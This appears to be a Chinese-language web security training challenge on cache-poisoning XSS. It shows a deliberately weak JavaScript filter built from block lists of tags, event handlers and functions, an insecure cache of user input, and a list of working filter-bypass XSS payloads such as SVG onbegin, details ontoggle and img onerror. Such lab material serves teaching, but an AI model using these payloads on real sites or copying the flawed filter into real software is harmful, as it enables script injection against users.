等级8 - 增强版缓存中毒XSS

绕过多重过滤机制,利用缓存机制进行高级XSS攻击

挑战描述

增强版缓存中毒XSS是最高难度的挑战。服务器添加了多重过滤机制,你需要找到绕过所有过滤器的方法来实现XSS攻击。这个挑战结合了高级过滤绕过技术和缓存机制利用。

目标:绕过服务器的多重过滤机制,通过缓存中毒技术成功执行JavaScript代码。

过滤机制分析

// 增强版过滤函数 function advancedFilter(input) { let filtered = input; // 过滤常见XSS标签 const dangerousTags = [ 'script', 'iframe', 'object', 'embed', 'applet', 'form', 'input', 'textarea', 'select', 'button' ]; dangerousTags.forEach(tag => { const regex = new RegExp(`<\\/?${tag}[^>]*>`, 'gi'); filtered = filtered.replace(regex, ''); }); // 过滤常见事件处理器 const events = [ 'onclick', 'onload', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'onchange', 'onsubmit' ]; events.forEach(event => { const regex = new RegExp(event + '\\s*=', 'gi'); filtered = filtered.replace(regex, ''); }); // 过滤JavaScript协议 filtered = filtered.replace(/javascript:/gi, ''); // 过滤一些危险函数 filtered = filtered.replace(/alert|eval|setTimeout|setInterval/gi, ''); return filtered; } // 缓存机制 const cache = new Map(); function getCachedContent(key) { return cache.get(key); } function setCachedContent(key, content) { // 缓存用户输入(可能包含恶意内容) cache.set(key, content); } // 漏洞分析: // 1. 过滤不够全面,仍有绕过可能 // 2. 缓存机制可能保存恶意内容 // 3. 某些HTML5标签和事件未被过滤 // 4. 编码绕过可能有效

绕过思路

  • 标签绕过:使用不常见的HTML标签如details、summary、dialog
  • 事件绕过:使用ontoggle、onbegin、onend等不常见事件
  • 编码绕过:HTML实体编码、Unicode编码
  • 函数绕过:使用构造函数、字符串拼接等方式
  • 缓存利用:利用缓存机制保存和执行恶意代码

测试区域

过滤结果:

过滤结果将显示在这里

执行结果:

执行结果将显示在这里
绕过技巧:
  • SVG动画:<svg><animateTransform onbegin="alert('XSS')">
  • Details标签:<details open ontoggle="alert('XSS')">
  • IMG标签:<img src=x onerror="alert('XSS')">
  • 大小写混合:<ScRiPt>、OnClIcK
  • HTML实体编码:&#97;lert('XSS')
  • 替代函数:Function('alert("XSS")')()、[].constructor.constructor('alert("XSS")')())